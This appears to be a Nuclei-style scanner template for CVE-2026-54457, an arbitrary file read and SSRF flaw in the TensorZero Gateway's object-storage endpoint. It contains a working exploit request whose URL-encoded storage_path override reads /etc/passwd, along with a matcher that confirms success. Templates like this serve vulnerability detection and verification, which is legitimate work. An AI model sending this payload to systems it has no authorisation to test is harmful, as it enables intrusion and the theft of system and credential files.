id: CVE-2026-54457

info:
  name: "TensorZero Gateway - Arbitrary File Read"
  author: vedas-arpsyndicate
  severity: high
  description: |
    The TensorZero Gateway /internal/object_storage endpoint accepts a caller-supplied
    storage_path query parameter that fully overrides the server's configured
    [object_storage] backend at request time (prior to version 2026.6.0). Supplying a
    StoragePath whose kind.type is "filesystem" with a root of "/" and an object key of
    "etc/passwd" causes the gateway to read and return an arbitrary file from its own
    filesystem, including credential files. The s3_compatible kind can instead redirect
    outbound object-storage requests to attacker-chosen internal or cloud-metadata
    endpoints (SSRF). Exploitation requires only the ability to reach the endpoint, which
    may be unauthenticated depending on deployment. This template reads /etc/passwd via
    the filesystem override.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-54457&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=tensorzero&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2026-54457
    cwe-id: CWE-552
  metadata:
    verified: false
  tags: cve,cve2026,tensorzero,lfi,file-read,ssrf,intrusive
http:
  - method: GET
    path:
      - "{{BaseURL}}/internal/object_storage?storage_path=%7B%22kind%22%3A%7B%22type%22%3A%22filesystem%22%2C%22path%22%3A%22%2F%22%7D%2C%22path%22%3A%22etc%2Fpasswd%22%7D"
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
      - type: status
        status:
          - 200